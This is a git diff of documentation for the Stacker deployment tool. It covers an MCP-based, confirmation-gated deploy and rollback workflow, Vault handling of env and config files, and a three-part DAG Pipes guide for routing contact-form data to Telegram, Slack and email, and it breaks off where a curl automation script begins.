+### 3. Preview a plan and capture its fingerprint
+
+Always preview with `get_deployment_plan` before a mutation. The returned
+`fingerprint` is the stale-plan guard that must be echoed into
+`apply_deployment_plan`.
+
+```json
+{
+  "name": "get_deployment_plan",
+  "arguments": {
+    "deployment_hash": "deployment_state_online",
+    "operation": "deploy_app",
+    "app_code": "device-api"
+  }
+}
+```
+
+For rollback preview:
+
+```json
+{
+  "name": "get_deployment_plan",
+  "arguments": {
+    "deployment_hash": "deployment_state_online",
+    "operation": "rollback_deploy",
+    "rollback_target": "previous"
+  }
+}
+```
+
+### 4. Apply with confirmation
+
+Mutations require an explicit human confirmation signal. Frontends should gate
+this tool behind a confirmation prompt and step-up auth/MFA check.
+
+```json
+{
+  "name": "apply_deployment_plan",
+  "arguments": {
+    "deployment_hash": "deployment_state_online",
+    "operation": "deploy_app",
+    "app_code": "device-api",
+    "expected_fingerprint": "plan_fingerprint_from_preview",
+    "confirm": true
+  }
+}
+```
+
+### 5. Recover using events and rollback
+
+If an apply fails or the deployment enters an unhealthy state:
+
+1. Call `get_deployment_events` to read remediation signals.
+2. Preview a rollback with `get_deployment_plan` and
+   `operation=rollback_deploy`.
+3. Apply that rollback with `apply_deployment_plan`.
+4. Re-read `get_deployment_events` and `get_deployment_state` until the state is
+   healthy or a typed error indicates the next remediation step.
+
+## Frontend integration requirements
+
+- Add `apply_deployment_plan` to the frontend's confirmation-required tool list.
+- Preserve the exact `expected_fingerprint` returned by preview.
+- Surface typed MCP errors directly instead of flattening them into generic
+  failure text.
+- Do not request or display raw secret values from explain or state payloads;
+  those surfaces are intentionally redaction-first.
+
+## Evaluation fixtures
+
+The versioned evaluation scenarios live in
+`tests/contracts/stacker-ai-workflows.v1alpha1.json`.
+The stable response schemas and samples live alongside them in
+`tests/contracts/`.
+
+## Qwen website scenario bootstrap
+
+Stacker also includes a model-targeted convenience layer for simple website
+projects. This is separate from the canonical MCP workflow above.
+
+### Trigger
+
+- `stacker init --with-ai` generates `stacker.yml` and `.stacker/` artifacts as
+  usual.
+- If the project looks like a simple HTML/static site or a Next.js app, and the
+  configured Ollama model contains `qwen2.5-code` or `qwen2.5-coder`, Stacker
+  offers to bootstrap the built-in `website-deploy` scenario.
+
+### What the bootstrap does
+
+1. Reads the generated `stacker.yml` and local project hints.
+2. Seeds known scenario variables such as project name, app type, proxy shape,
+   cloud settings, and AI provider/model settings.
+3. Prompts only for missing deploy-critical values such as public domain, image
+   repository/tag, and cloud target details.
+4. Saves state under `.stacker/scenarios/qwen2.5-code/website-deploy/state.json`.
+5. Starts the scenario at the `init-validate` step and prints the next exact
+   commands to run.
+
+### Continue a scenario later
+
+```bash
+stacker ai ask "continue" --scenario website-deploy --step init-validate
+stacker ai ask "continue" --scenario website-deploy --step image-publish
+stacker ai ask "continue" --scenario website-deploy --step cloud-deploy
+stacker ai --scenario website-deploy --step runtime-ops
+```
+
+### Scenario content layout
+
+- Built-in files live under `scenarios/qwen2.5-code/website-deploy/`.
+- Project-local overrides can be placed under
+  `.stacker/scenarios/qwen2.5-code/website-deploy/`.
+- The saved state file lives beside those overrides in the same `.stacker`
+  directory tree.
diff --git a/docs/APP_DEPLOYMENT.md b/docs/APP_DEPLOYMENT.md
index 08c8c17b..d0a6ecb5 100644
--- a/docs/APP_DEPLOYMENT.md
+++ b/docs/APP_DEPLOYMENT.md
@@ -56,7 +56,7 @@ Each deployment receives its own Vault token, scoped to only access that deploym
         │   └── _compose       # Global docker-compose.yml (legacy)
         ├── {app_code}/
         │   ├── _compose       # Per-app docker-compose.yml
-        │   ├── _env           # Per-app rendered .env file
+        │   ├── _env           # Runtime env payload for canonical .env
         │   ├── _configs       # Bundled config files (JSON array)
         │   └── _config        # Legacy single config file
         └── {app_code_2}/
@@ -70,7 +70,7 @@ Each deployment receives its own Vault token, scoped to only access that deploym
 | Key Format | Vault Path | Description | Example |
 |------------|------------|-------------|---------|
 | `{app_code}` | `apps/{app_code}/_compose` | docker-compose.yml | `telegraf` → compose |
-| `{app_code}_env` | `apps/{app_code}/_env` | Rendered .env file | `telegraf_env` → env vars |
+| `{app_code}_env` | `apps/{app_code}/_env` | Runtime env payload for canonical `.env` | `telegraf_env` → env vars |
 | `{app_code}_configs` | `apps/{app_code}/_configs` | Bundled config files (JSON) | `telegraf_configs` → multiple configs |
 | `{app_code}_config` | `apps/{app_code}/_config` | Single config (legacy) | `nginx_config` → nginx.conf |
 | `_compose` | `apps/_compose/_compose` | Global compose (legacy) | Full stack compose |
@@ -87,17 +87,32 @@ Each deployment receives its own Vault token, scoped to only access that deploym
    - When `project_app` is created/updated, `ConfigRenderer` generates files
    - `ProjectAppService.sync_to_vault()` pushes configs to Vault:
      - **Compose** stored at `{app_code}` key → `apps/{app_code}/_compose`
-     - **.env files** stored at `{app_code}_env` key → `apps/{app_code}/_env`
+     - **Runtime env payloads** stored at `{app_code}_env` key → `apps/{app_code}/_env`
      - **Config bundles** stored at `{app_code}_configs` key → `apps/{app_code}/_configs`
    - Config bundle is a JSON array containing all config files for the app
 
 3. **Command Enrichment** (Stacker → Status Panel):
    - When `deploy_app` command is issued, Stacker enriches the command payload
-   - Fetches from Vault: `{app_code}` (compose), `{app_code}_env` (.env), `{app_code}_configs` (bundle)
+   - Fetches from Vault: `{app_code}` (compose), `{app_code}_env` (runtime env), `{app_code}_configs` (bundle)
+   - For CLI-provided app-local config bundles, merges the app-local service
+     definition into the full project compose, then merges the freshly rendered
+     service-secret env into any `.env` file referenced by that app's compose
+     `env_file`
+   - If runtime env rendering fails, command creation fails rather than falling
+     back to raw bundled `.env` content that could omit remote secrets
    - Adds all configs to `config_files` array in command payload
    - Status Panel receives complete config set ready to write
 
 4. **Runtime** (Status Panel Agent):
+   - Writes the runtime env payload to `/home/trydirect/project/.env` with
+     `0600` permissions
+   - Uses compose-relative `env_file: .env` for generated compose files
+   - For app-local compose files such as `<app>/docker/<env>/compose.yml`, writes
+     bundled config files under `/opt/stacker/deployments/<env>/files/...`; if
+     that compose file references an app-local `.env`, the file contains the
+     local `.env` content plus the Vault-rendered service secrets for the same
+     app target
+   - Refuses to overwrite drifted env content unless the command is forced
    - Agent reads `VAULT_TOKEN` from environment on startup
    - Fetches configs via `VaultClient.fetch_app_config()`
    - Writes files to destination paths with specified permissions
@@ -136,6 +151,54 @@ path "{prefix}/*" {
 
 ## Stacker Components
 
+### Service Deployment Scope Convention
+
+Default service deployments are project-scoped.
+
+When a service is declared in `stacker.yml`, `stacker service deploy <name>` and
+related non-platform service deploy flows must update the main project compose
+deployment:
+
+```text
+/home/trydirect/project/docker-compose.yml
+```
+
+Do not create a separate compose project such as
+`/home/trydirect/<service>/docker-compose.yml` for a normal custom service unless
+the user explicitly opts into standalone mode, for example with a future
+`--standalone` or `--scope standalone` flag.
+
+Only platform-managed services are allowed to live outside the project directory
+by default. Current examples:
+
+```text
+/home/trydirect/statuspanel
+/home/trydirect/nginx_proxy_manager
+```
+
+This convention prevents duplicate runtime ownership, where the same service
+exists both inside `/home/trydirect/project/docker-compose.yml` and as a separate
+standalone compose project. Before adding or changing service deployment code,
+verify whether the service is project-scoped or platform-managed and add
+regression tests for the chosen scope.
+
+Stacker-managed compose services must include stable runtime identity labels
+under the owned `stacker.my` reverse-DNS prefix:
+
+```yaml
+labels:
+  my.stacker.project_id: "123"
+  my.stacker.target: "cloud"
+  my.stacker.scope: "project"
+  my.stacker.service: "smtp"
+  my.stacker.dns: "smtp"
+```
+
+Use `my.stacker.service` for the logical Stacker service code and
+`my.stacker.dns` for the Docker network name that agents should use at runtime.
+For Nginx Proxy Manager, this means `my.stacker.service=nginx_proxy_manager` and
+`my.stacker.dns=nginx-proxy-manager`.
+
 ### 1. ConfigRenderer Service
 
 **Location**: `src/services/config_renderer.rs`
@@ -220,11 +283,30 @@ vault.store_app_config(deployment_hash, &format!("{}_configs", app_code), &bundl
 ```rust
 // 1. Fetch compose from Vault: {app_code} key
 // 2. Fetch bundled configs: {app_code}_configs key (or fallback to _config)
-// 3. Fetch .env file: {app_code}_env key
-// 4. Merge all into config_files array
-// 5. Send enriched command to Status Panel
+// 3. Render runtime env from app env + remote service secrets
+// 4. Merge rendered env into app-local compose env_file entries when present
+// 5. Add canonical runtime env and bundled files to config_files array
+// 6. Send enriched command to Status Panel
 ```
 
+When a CLI request already includes `compose_content` and config files from an
+app-local compose bundle, Stacker uses the app-local service definition for the
+target app but merges it into the full project compose before sending
+`compose_content` to the Status agent. The agent still writes one
+`docker-compose.yml`, but it contains all project services plus the updated
+app-local service. The CLI treats the project-level compose as topology in this
+path and bundles only files referenced by the target app-local compose, so a
+missing `env_file` for an unrelated service does not block app-only updates.
+Stacker also keeps the bundled config files and appends the Vault-rendered
+service secrets to the `.env` file referenced by the matching compose service.
+This lets `device-api/docker/prod/compose.yml` with `env_file: .env` receive
+both local `.env` content and Vault-backed service secrets without truncating
+the remote project compose file. On later resyncs, the previously appended
+`# stacker-render ...` block is replaced with the freshly rendered one so
+remote app-local `.env` files do not accumulate duplicate secret sections. If
+the server cannot render the runtime env for a registered target, the enqueue
+request fails so Status does not deploy a partial app-local `.env`.
+
 ### 5. ProjectAppService
 
 **Location**: `src/services/project_app_service.rs`
diff --git a/docs/DAG_PIPES_DEVELOPER_MANUAL.md b/docs/DAG_PIPES_DEVELOPER_MANUAL.md
new file mode 100644
index 00000000..3ec84f2d
--- /dev/null
+++ b/docs/DAG_PIPES_DEVELOPER_MANUAL.md
@@ -0,0 +1,23 @@
+# DAG Pipes — Developer Manual
+
+Build and run data pipelines that connect your deployed services. Route contact form submissions to Telegram, sync database changes to Slack, send confirmation emails — all with simple CLI commands or drag-and-drop.
+
+## Guide Overview
+
+| Part | For | What you'll learn |
+|------|-----|------------------|
+| **[Part 1: CLI Guide](./DAG_PIPES_PART1_CLI_GUIDE.md)** | Getting started | Create and run pipes using `stacker pipe` commands (includes local mode) |
+| **[Part 2: Visual Editor](./DAG_PIPES_PART2_WEB_EDITOR.md)** | Visual builders | Drag-and-drop pipeline builder in your browser |
+| **[Part 3: REST API Deep Dive](./DAG_PIPES_PART3_API_DEEP_DIVE.md)** | Automation & scripting | Full API reference, curl scripts, gRPC streaming |
+
+> **💡 Local mode**: You can build and test pipes against local Docker containers without a cloud deployment. See the [Local Mode section in Part 1](./DAG_PIPES_PART1_CLI_GUIDE.md#local-mode-experimental) for setup and workflow.
+
+## Examples in All Three Guides
+
+Each guide walks through the same practical examples:
+
+1. **Contact Form → Telegram + Slack** — forward form submissions to both channels simultaneously
+2. **Contact Form → PostgreSQL CDC → Telegram** — database watches for new rows, sends notifications automatically
+3. **Contact Form → Email + Slack** — send confirmation email + team notification
+
+**Start with [Part 1](./DAG_PIPES_PART1_CLI_GUIDE.md)** — it takes 5 minutes and covers everything you need to get a pipe running.
diff --git a/docs/DAG_PIPES_PART1_CLI_GUIDE.md b/docs/DAG_PIPES_PART1_CLI_GUIDE.md
new file mode 100644
index 00000000..078d8879
--- /dev/null
+++ b/docs/DAG_PIPES_PART1_CLI_GUIDE.md
@@ -0,0 +1,380 @@
+# DAG Pipes — Part 1: CLI Guide
+
+Build and run data pipelines using `stacker pipe` commands. No code, no curl — just the CLI.
+
+> **Other guides:**
+> [Part 2: Visual Editor (Web UI)](./DAG_PIPES_PART2_WEB_EDITOR.md) ·
+> [Part 3: REST API Deep Dive](./DAG_PIPES_PART3_API_DEEP_DIVE.md)
+
+---
+
+## What is a Pipe?
+
+A pipe connects services in your deployment. Data flows from a **source** (where data comes from) through optional **transforms** and **conditions**, to one or more **targets** (where data goes).
+
+```
+[Source] → [Transform] → [Target]
+```
+
+That's it. Stacker handles the wiring, execution, retries, and history.
+
+---
+
+## Getting Started
+
+```bash
+# 1. Login
+stacker login
+
+# 2. Make sure you have a deployment running
+stacker status
+```
+
+> **💡 No cloud deployment yet?** You can experiment locally first — see [Local Mode](#local-mode-experimental) below.
+
+---
+
+## Example 1: Contact Form → Telegram + Slack
+
+**Goal**: When someone submits a contact form, notify your team on both Telegram and Slack.
+
+### Step 1 — Scan your services
+
+```bash
+# Remote deployment: probe app endpoints
+stacker pipe scan --app website
+
+# See what APIs are available with sample data
+stacker pipe scan --app website --capture-samples
+```
+
+Output:
+```
+App: website
+Protocols detected: rest
+
+[rest] http://website:3000
+     POST /api/contact  -- Submit contact form
+          fields: [name, email, message]
+          sample: {"name":"Alice","email":"alice@example.com","message":"Hello"}
+```
+
+### Step 2 — Create the pipe
+
+```bash
+# Interactive wizard walks you through it
+stacker pipe create website telegram
+```
+
+The wizard will:
+1. Scan both apps/containers for endpoints
+2. Let you pick source endpoint (POST /api/contact)
+3. Let you pick target endpoint (sendMessage)
+4. Auto-match fields (`name` → text, `email` → text)
+5. Ask for a pipe name
+
+Repeat for Slack:
+```bash
+stacker pipe create website slack
+```
+
+### Step 3 — Activate
+
+```bash
+# List your pipes to get the IDs
+stacker pipe list
+
+# Activate both — webhook mode triggers on each form submission
+stacker pipe activate <telegram-pipe-id>
+stacker pipe activate <slack-pipe-id>
+```
+
+### Step 4 — Test it
+
+```bash
+# Manual trigger with test data
+stacker pipe trigger <telegram-pipe-id> \
+  --data '{"name":"Alice","email":"alice@example.com","message":"Hello!"}'
+```
+
+### Step 5 — Check history
+
+```bash
+stacker pipe history <telegram-pipe-id>
+```
+
+```
+EXECUTION ID                 TRIGGER  STATUS   DURATION  STARTED
+─────────────────────────────────────────────────────────────────
+a1b2c3d4-e5f6-...            manual   success     342ms  2026-04-16T13:00:00Z
+
+1 execution(s) shown.
+```
+
+---
+
+## Example 2: Contact Form → PostgreSQL CDC → Telegram
+
+**Goal**: Your website saves contact forms to PostgreSQL normally. The pipe watches for new rows and sends a Telegram notification — no changes to your website code needed.
+
+```
+Website → writes to PostgreSQL (as usual)
+                ↓ CDC detects new row
+         [cdc_source] → [transform] → [target: telegram]
+```
+
+### Step 1 — Scan PostgreSQL for CDC
+
+```bash
+stacker pipe scan postgresql --protocols cdc
+```
+
+Output:
+```
+App: postgresql
+Protocols detected: cdc
+
+[cdc] postgresql://postgres:5432
+     TABLE public.contacts  -- Contact form submissions
+           fields: [id, name, email, message, created_at]
+     TABLE public.users     -- User accounts
+           fields: [id, email, password_hash, created_at]
+```
+
+### Step 2 — Create the pipe
+
+```bash
+stacker pipe create postgresql telegram
+# Select: TABLE public.contacts → POST sendMessage
+# The wizard maps: name, email, message → text field
+```
+
+### Step 3 — Activate with webhook trigger
+
+```bash
+stacker pipe activate <pipe-id> --trigger webhook
+```
+
+Now every INSERT into the `contacts` table automatically sends a Telegram message. No polling, no cron jobs.
+
+### Step 4 — Verify
+
+```bash
+# Insert a test row into PostgreSQL (from your app or directly)
+# Then check pipe history:
+stacker pipe history <pipe-id>
+```
+
+---
+
+## Example 3: Contact Form → Email + Slack
+
+**Goal**: Send a confirmation email to the user AND post to your team's Slack channel.
+
+### Step 1 — Create both pipes
+
+```bash
+# Pipe 1: website → email service
+stacker pipe create website email-service
+
+# Pipe 2: website → slack
+stacker pipe create website slack
+```
+
+### Step 2 — Activate both
+
+```bash
+stacker pipe activate <email-pipe-id> --trigger webhook
+stacker pipe activate <slack-pipe-id> --trigger webhook
+```
+
+### Step 3 — Test
+
+```bash
+# Trigger both with the same data
+stacker pipe trigger <email-pipe-id> \
+  --data '{"name":"Carol","email":"carol@example.com","message":"Demo please"}'
+
+stacker pipe trigger <slack-pipe-id> \
+  --data '{"name":"Carol","email":"carol@example.com","message":"Demo please"}'
+```
+
+---
+
+## Command Reference
+
+| Command | What it does |
+|---------|-------------|
+| `stacker pipe scan` | Discover local Docker containers |
+| `stacker pipe scan --containers [filter]` | Discover local containers by name |
+| `stacker pipe scan --app <app>` | Discover what APIs a remote app exposes |
+| `stacker pipe create <source> <target>` | Create a pipe (interactive wizard) |
+| `stacker pipe list` | Show all pipes for your deployment |
+| `stacker pipe activate <id>` | Start the pipe (begin listening) |
+| `stacker pipe deactivate <id>` | Stop the pipe |
+| `stacker pipe trigger <id>` | Run the pipe once manually |
+| `stacker pipe history <id>` | View past executions |
+| `stacker pipe replay <exec-id>` | Re-run a past execution |
+| `stacker pipe deploy <id> --deployment <hash>` | Promote local pipe to remote |
+| `stacker target [local\|cloud\|server]` | Switch deployment target mode |
+
+### Useful flags
+
+| Flag | Used with | What it does |
+|------|-----------|-------------|
+| `--json` | Any command | Output as JSON (for scripting) |
+| `--trigger webhook` | `activate` | Listen for events in real-time (default) |
+| `--trigger poll` | `activate` | Check for changes periodically |
+| `--poll-interval 60` | `activate` | Poll every N seconds |
+| `--trigger manual` | `activate` | Only run when you call `trigger` |
+| `--data '{...}'` | `trigger` | Pass custom input data |
+| `--capture-samples` | `scan` | Show real response examples |
+| `--ai` | `create` | Use AI for smart field matching |
+| `--no-ai` | `create` | Use deterministic matching only |
+| `--manual` | `create` | Skip auto-matching entirely |
+| `--limit 50` | `history` | Show more results |
+
+---
+
+## Trigger Types Explained
+
+| Type | How it works | Best for |
+|------|-------------|----------|
+| **webhook** | Fires instantly when data arrives | Real-time notifications |
+| **poll** | Checks for new data every N seconds | Periodic syncs, batch jobs |
+| **manual** | Only runs when you say `pipe trigger` | Testing, one-off transfers |
+
+---
+
+## Debugging
+
+```bash
+# See what went wrong
+stacker pipe history <id> --json | jq '.[0]'
+
+# Replay a failed execution (retries with same input)
+stacker pipe replay <execution-id>
+
+# Trigger with custom test data
+stacker pipe trigger <id> --data '{"name":"test","email":"test@test.com","message":"debug"}'
+```
+
+---
+
+## Local Mode (Experimental)
+
+Local mode lets you design, test, and iterate on pipes **without a cloud deployment**. Pipes run against your local Docker containers.
+
+### Setting Up Local Mode
+
+```bash
+# Switch to local mode
+stacker target local
+
+# Verify active target
+stacker target
+# Output: Active target: local
+
+# All pipe commands now show [local] prefix
+stacker pipe scan
+# [local] ✓ 3 containers discovered
+# [local] ✓ 7 endpoints/resources discovered
+```
+
+### Local Workflow
+
+```bash
+# 1. Discover local endpoints/resources from running containers
+stacker pipe scan
+
+# Optional: narrow to matching container names
+stacker pipe scan --containers website
+
+# 2. Create a pipe — no deployment hash needed
+stacker pipe create website telegram
+# [local] ✓ Pipe instance created (id: abc-123)
+
+# 3. Trigger locally (executes via docker exec)
+stacker pipe trigger abc-123 --data '{"name":"test","email":"test@test.com"}'
+
+# 4. Check history
+stacker pipe history abc-123
+
+# 5. When ready — promote to a remote deployment
+stacker pipe deploy abc-123 --deployment <your-deployment-hash>
+# ✓ Local pipe promoted to remote deployment
+# Remote instance ID: def-456
+# Use 'stacker pipe activate def-456' to start the remote pipe.
+```
+
+### Switching Targets
+
+```bash
+stacker target local   # local Docker containers
+stacker target cloud   # cloud deployment (from prior deploy)
+stacker target server  # dedicated server deployment
+stacker target         # show current
+```
+
+### What Works Locally
+
+| Command | Local Behavior |
+|---------|---------------|
+| `pipe scan` | Discovers local endpoints/resources from running containers |
+| `pipe scan --containers [filter]` | Filters matching containers, then probes their endpoints/resources |
+| `pipe scan --app <app>` | Not used locally — use container discovery instead |
+| `pipe create` | Creates pipe with `is_local=true`, no deployment hash |
+| `pipe list` | Shows your local pipes only |
+| `pipe trigger` | Executes via `docker exec` / HTTP |
+| `pipe history` | Shows execution history |
+| `pipe deploy` | Promotes local pipe → remote deployment |
+| `pipe activate/deactivate` | Remote only (use after deploy) |
+| `pipe replay` | Remote only |
+
+### Scan Semantics
+
+- **Local target** → scan works with **containers**
+- **Remote target** → scan works with **apps**, optionally narrowed by `--container`
+
+```bash
+# Local
+stacker pipe scan
+stacker pipe scan --containers upload
+
+# Remote
+stacker pipe scan --app website
+stacker pipe scan --app website --container website-web-1
+```
+
+Legacy `stacker pipe scan <ARG>` still works during the transition:
+
+- in **local mode** it is treated as a container name filter
+- in **remote mode** it is treated as an app code
+
+When local scan succeeds, expect output like:
+
+```text
+[local] ✓ 1 container(s) discovered
+
+  Containers matched: 1
+    local-device-api-1  [app-network] example/device-api:local
+      addresses: 172.18.0.20:5050
+
+  App: device-api
+  Protocols detected: openapi, postgres
+
+  [openapi] http://172.18.0.20:5050/openapi.json
+       GET /devices
+           fields: [id, name]
+
+  Resources:
+    [postgres] postgres://172.18.0.10:5432/app (local-postgres-1)
+      table public.devices  -- CDC candidate
+```
+
+---
+
+## What's Next?
+
+- **[Part 2: Visual Editor](./DAG_PIPES_PART2_WEB_EDITOR.md)** — Build pipes with drag-and-drop in your browser
+- **[Part 3: REST API Deep Dive](./DAG_PIPES_PART3_API_DEEP_DIVE.md)** — Full API reference, curl scripts, gRPC streaming, advanced DAG features
diff --git a/docs/DAG_PIPES_PART2_WEB_EDITOR.md b/docs/DAG_PIPES_PART2_WEB_EDITOR.md
new file mode 100644
index 00000000..11ef6f41
--- /dev/null
+++ b/docs/DAG_PIPES_PART2_WEB_EDITOR.md
@@ -0,0 +1,189 @@
+# DAG Pipes — Part 2: Visual Editor (Web UI)
+
+Build data pipelines with drag-and-drop — no terminal needed.
+
+> **Other guides:**
+> [Part 1: CLI Guide](./DAG_PIPES_PART1_CLI_GUIDE.md) ·
+> [Part 3: REST API Deep Dive](./DAG_PIPES_PART3_API_DEEP_DIVE.md)
+
+---
+
+## Open the Editor
+
+```
+http://localhost:8080/editor
+```
+
+> **Demo Mode**: The editor works without login for local experimentation. Changes exist only in the browser. Click **"Sign Up / Login"** to save pipelines to the server.
+
+---
+
+## Quick Start: Contact Form → Telegram + Slack
+
+Let's build Example 1 from the CLI guide — visually.
+
+### 1. Start with a template (optional)
+
+Click **"Use Template"** and pick one:
+
+| Template | What you get |
+|----------|-------------|
+| **ETL Pipeline** | source → transform → target (simplest) |
+| **Webhook Router** | source → condition → two targets |
+| **CDC Replicator** | CDC source → transform → target |
+
+Or start from scratch (next step).
+
+### 2. Drag steps from the palette
+
+The **left sidebar** has all available step types organized by category:
+
+**Sources** (where data comes from):
+| Step | Icon | Use for |
+|------|------|---------|
+| Source | 📥 | REST API / webhook |
+| CDC Source | 🔄 | PostgreSQL table changes |
+| AMQP Source | 🐰 | RabbitMQ messages |
+| Kafka Source | 📨 | Kafka topics |
+| WebSocket Source | 🔌 | WebSocket streams |
+| HTTP Stream | 🌊 | Server-Sent Events |
+| gRPC Source | ⚡ | gRPC server-streaming |
+
+**Processing** (transform and route):
+| Step | Icon | Use for |
+|------|------|---------|
+| Transform | 🔀 | Map/rename fields |
+| Condition | ❓ | Filter (if/else branching) |
+| Parallel Split | ⑃ | Fan-out to multiple targets |
+| Parallel Join | ⑂ | Merge parallel branches |
+
+**Targets** (where data goes):
+| Step | Icon | Use for |
+|------|------|---------|
+| Target | 📤 | REST API / webhook |
+| WebSocket Target | 🔌 | Send via WebSocket |
+| gRPC Target | ⚡ | Send via gRPC |
+
+For our example, drag these onto the canvas:
+
+1. **Source** 📥 — the contact form
+2. **Parallel Split** ⑃ — fan out to both targets
+3. **Target** 📤 — Telegram
+4. **Target** 📤 — Slack
+5. **Parallel Join** ⑂ — merge results
+
+### 3. Connect the steps
+
+Click the **output handle** (small circle on the right side of a node) and drag to the **input handle** (left side of the next node):
+
+```
+Source ──→ Parallel Split ──→ Target (Telegram)
+                           ──→ Target (Slack)
+           Target (Telegram) ──→ Parallel Join
+           Target (Slack)    ──→ Parallel Join
+```
+
+### 4. Configure each step
+
+**Click any node** to open the **config panel** on the right side.
+
+#### Source: contact_form
+- **Name**: `contact_form`
+- **URL**: `http://website:3000/api/contact`
+- **Method**: `POST`
+
+#### Target: telegram
+- **Name**: `telegram_notify`
+- **URL**: `https://api.telegram.org/bot<YOUR_TOKEN>/sendMessage`
+- **Method**: `POST`
+
+#### Target: slack
+- **Name**: `slack_notify`
+- **URL**: `https://hooks.slack.com/services/T.../B.../xxx`
+- **Method**: `POST`
+
+> **Advanced config**: Toggle **"Advanced JSON"** at the bottom of the config panel to edit the raw JSON config directly.
+
+### 5. Validate
+
+Click the **"Validate"** button in the toolbar.
+
+- ✅ **Green toast** = DAG is valid
+- ❌ **Red toast** = something's wrong (missing source, missing target, cycle detected, etc.)
+
+### 6. Execute
+
+Click **"Execute"** to run the pipeline with test data.
+
+---
+
+## Building Example 2: CDC → Telegram
+
+1. Drag **CDC Source** 🔄 onto the canvas
+2. Click it and configure:
+   - **Replication Slot**: `contacts_pipe_slot`
+   - **Publication**: `contact_pub`
+   - **Tables**: `public.contacts`
+3. Drag **Transform** 🔀 → configure field mappings
+4. Drag **Target** 📤 → set Telegram API URL
+5. Connect: CDC Source → Transform → Target
+6. Click **Validate** → **Execute**
+
+---
+
+## Building Example 3: Form → Email + Slack
+
+1. Drag **Source** 📥 (form webhook)
+2. Drag **Parallel Split** ⑃
+3. Drag two **Target** 📤 nodes (email service + Slack)
+4. Drag **Parallel Join** ⑂
+5. Connect: Source → Split → both Targets → Join
+6. Configure each target with its URL
+7. **Validate** → **Execute**
+
+---
+
+## Keyboard Shortcuts
+
+| Key | Action |
+|-----|--------|
+| `Delete` / `Backspace` | Delete selected edge or node |
+| Drag from handle | Create a connection |
+| Click a node | Open config panel |
+| Scroll wheel | Zoom in / out |
+| Click + drag canvas | Pan around |
+
+---
+
+## Tips
+
+- **Delete a connection**: Click on the edge (it highlights), then press `Delete` or `Backspace`
+- **Delete a step**: Click the node, then press `Delete`
+- **Move a step**: Click and drag it to a new position
+- **Zoom to fit**: Scroll out or use the minimap (bottom-right)
+- **Switch to JSON editing**: Toggle "Advanced JSON" in the config panel for full control
+- **Start from a template**: Much faster than building from scratch — customize from there
+
+---
+
+## Demo Mode vs Authenticated
+
+| Feature | Demo Mode | Logged In |
+|---------|-----------|-----------|
+| Build pipelines | ✅ | ✅ |
+| Drag & drop | ✅ | ✅ |
+| Validate | ❌ (skipped) | ✅ |
+| Execute | ❌ (skipped) | ✅ |
+| Save to server | ❌ | ✅ |
+| Load existing pipes | ❌ | ✅ |
+
+Demo mode is great for learning the interface. Sign in to actually run pipelines.
+
+> **💡 Local mode (CLI)**: For local experimentation with _real_ execution, use `stacker target local` and the CLI pipe commands (see [Part 1: Local Mode](./DAG_PIPES_PART1_CLI_GUIDE.md#local-mode-experimental)). Local pipes can later be promoted to remote via `stacker pipe deploy`.
+
+---
+
+## What's Next?
+
+- **[Part 1: CLI Guide](./DAG_PIPES_PART1_CLI_GUIDE.md)** — Same examples using terminal commands
+- **[Part 3: REST API Deep Dive](./DAG_PIPES_PART3_API_DEEP_DIVE.md)** — Full API reference, automation scripts, gRPC streaming
diff --git a/docs/DAG_PIPES_PART3_API_DEEP_DIVE.md b/docs/DAG_PIPES_PART3_API_DEEP_DIVE.md
new file mode 100644
index 00000000..7a4eeebd
--- /dev/null
+++ b/docs/DAG_PIPES_PART3_API_DEEP_DIVE.md
@@ -0,0 +1,481 @@
+# DAG Pipes — Part 3: REST API Deep Dive
+
+Automate pipeline creation with curl/scripts. Full API reference, gRPC streaming, and advanced DAG features.
+
+> **Other guides:**
+> [Part 1: CLI Guide](./DAG_PIPES_PART1_CLI_GUIDE.md) ·
+> [Part 2: Visual Editor (Web UI)](./DAG_PIPES_PART2_WEB_EDITOR.md)
+
+---
+
+## Setup
+
+```bash
+# Auth token (all API calls require this)
+BASE="http://localhost:8080/api/v1"
+AUTH="Authorization: Bearer $(stacker token)"
+CT="Content-Type: application/json"
+```
+
+---
+
+## Concepts
+
+### Templates vs Instances
+
+- **Template** = reusable pipeline definition (steps + edges). Shareable across deployments.
+- **Instance** = a template bound to a specific deployment. Tracks status, trigger counts, execution history.
+
+### DAG Structure
+
+A template contains **steps** (nodes) and **edges** (connections):
+
+```
+Steps: [source, transform, condition, target, ...]
+Edges: [source→transform, transform→condition, condition→target, ...]
+```
+
+Steps are executed **level-by-level** (topological sort). Steps at the same level run in parallel.
+
+### Validation Rules
+
+- At least **one source** step required
+- At least **one target** step required
+- **No cycles** (it's a Directed Acyclic Graph)
+
+---
+
+## Step Types Reference
+
+### Sources
+
+| Type | Config Fields | Description |
+|------|--------------|-------------|
+| `source` | `url`, `method`, `headers` | Generic REST source |
+| `cdc_source` | `replication_slot`, `publication`, `tables` | PostgreSQL CDC |
+| `amqp_source` | `queue`, `exchange`, `routing_key` | RabbitMQ consumer |
+| `kafka_source` | `brokers`, `topic`, `group_id` | Kafka consumer |
+| `ws_source` | `url` | WebSocket consumer |
+| `http_stream_source` | `url`, `event_filter` | Server-Sent Events |
+| `grpc_source` | `endpoint`, `pipe_instance_id`, `step_id` | gRPC server-streaming |
+
+### Processing
+
+| Type | Config Fields | Description |
+|------|--------------|-------------|
+| `transform` | `field_mapping` | JSONPath field mapping |
+| `condition` | `field`, `operator`, `value` | Conditional branching |
+| `parallel_split` | *(none)* | Fork into parallel branches |
+| `parallel_join` | *(none)* | Merge parallel branches |
+
+### Targets
+
+| Type | Config Fields | Description |
+|------|--------------|-------------|
+| `target` | `url`, `method`, `headers`, `body_template` | Generic REST target |
+| `ws_target` | `url` | WebSocket sender |
+| `grpc_target` | `endpoint`, `pipe_instance_id`, `step_id` | gRPC unary call |
+
+### Condition Operators
+
+| Operator | Meaning |
+|----------|---------|
+| `eq` | Equals |
+| `ne` | Not equals |
+| `gt` | Greater than |
+| `lt` | Less than |
+| `gte` | Greater or equal |
+| `lte` | Less or equal |
+
+---
+
+## Example: Contact Form → Telegram + Slack (scripted)
+
+Complete automation script — creates the pipeline, validates, and runs it.
+
+```bash
+#!/bin/bash
+# example1-contact-to-telegram-slack.sh
+set -euo pipefail
+
+BASE="http://localhost:8080/api/v1"
+AUTH="Authorization: Bearer $(stacker token)"
+CT="Content-Type: application/json"
+
+# Helper functions
+add_step() {
+  curl -sf -X POST "$DAG/steps" -H "$AUTH" -H "$CT" -d "$1" | jq -r '.item.id'
+}
+add_edge() {
+  curl -sf -X POST "$DAG/edges" -H "$AUTH" -H "$CT" -d "$1" > /dev/null
+}
+
+# --- Create template ---
